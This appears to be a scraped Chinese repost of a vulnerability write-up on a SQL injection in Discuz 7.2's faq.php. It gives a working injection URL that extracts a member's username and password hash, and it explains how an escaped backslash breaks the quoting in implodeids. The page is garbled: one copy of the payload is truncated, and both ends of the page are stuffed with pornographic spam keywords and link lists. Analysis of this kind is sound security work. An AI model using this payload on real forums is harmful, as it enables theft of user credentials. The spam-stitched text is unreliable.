復(fù)制代碼 代碼如下:
http://www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0 " /> 99热这里只有精品,美女撒尿无遮挡免费中国,久久国产乱子伦精品免费M

天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

Discuz7.2版的faq.php SQL注入漏洞分析

注入代碼實(shí)例:
復(fù)制代碼 代碼如下:
http://www.jb51.NET/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

復(fù)制代碼 代碼如下:
($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定義一個(gè)數(shù)組groupids,然后遍歷$gids(這也是個(gè)數(shù)組,就是$_GET[gids]),將數(shù)組中的所有值的第一位取出來放在groupids中。

為什么這個(gè)操作就造成了注入?

discuz在全局會(huì)對(duì)GET數(shù)組進(jìn)行addslashes轉(zhuǎn)義,也就是說會(huì)將'轉(zhuǎn)義成/',所以,如果我們的傳入的參數(shù)是:gids[1]='的話,會(huì)被轉(zhuǎn)義成$gids[1]=/',而這個(gè)賦值語句$groupids[] = $row[0]就相當(dāng)于取了字符串的第一個(gè)字符,也就是/,把轉(zhuǎn)義符號(hào)取出來了。

再看后面,在將數(shù)據(jù)放入sql語句前,他用implodeids處理了一遍。我們看到implodeids函數(shù)

很簡(jiǎn)單一個(gè)函數(shù),就是將剛才的$groupids數(shù)組用','分割開,組成一個(gè)類似于'1','2','3','4'的字符串返回。

但是我們的數(shù)組剛?cè)〕鰜硪粋€(gè)轉(zhuǎn)義符,它會(huì)將這里一個(gè)正常的'轉(zhuǎn)義掉,比如這樣:
'1','/','3','4'
有沒有看出有點(diǎn)不同,第4個(gè)單引號(hào)被轉(zhuǎn)義了,也就是說第5個(gè)單引號(hào)和第3個(gè)單引號(hào)閉合。

php技術(shù)Discuz7.2版的faq.php SQL注入漏洞分析,轉(zhuǎn)載需保留來源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 无码成A毛片免费 | 久久中文字幕无码A片不卡 久久中文字幕人妻熟AV女蜜柚M | 丝袜美腿美女被狂躁在线观看 | 日韩亚洲不卡在线视频 | 国产精品福利片 | 日本红怡院亚洲红怡院最新 | 久草在线在线精品观看 | 免费看黄色小说 | 母乳女神春日もな | 黑人寄宿羽月希产后奶水 | 暖暖免费观看日本在线视频 | 一级做a爰片久久毛片一 | 91伊人久久大香线蕉 | 欧洲最大无人区免费高清完整版 | 在线亚洲精品福利网址导航 | 久久精品免费观看久久 | 日韩1区1区产品乱码芒果榴莲 | 韩国女主播内部vip自带氏巾 | 亚洲区偷拍自拍29P 亚洲区视频在线观看 | 全黄H全肉细节文短篇 | 国产精品人妻无码久久久奥特曼 | 国拍自产精品福利区 | 性欧美videos俄罗斯 | FREE性丰满白嫩白嫩的HD | 贵妃高h荡肉呻吟np杨玉环 | 国产国产成年在线视频区 | 午夜片无码区在线观看 | 亚洲偷自拍精品视频在线观看 | 海量激情文学 | 欧美一区二区影院 | 邓奴的视频IVK | 尤物yw193can入口 | 艳妇臀荡乳欲伦岳TXT下载 | 99 久久99久久精品免观看 | 久久精品视在线-2 | 国产精品无码视频一区二区 | 色色色999 | 囯产精品久久久久久久久免费蜜桃 | 免费韩国伦理2017最新 | 亚洲性夜夜色综合网站 | 大乳牛奶女在线观看 |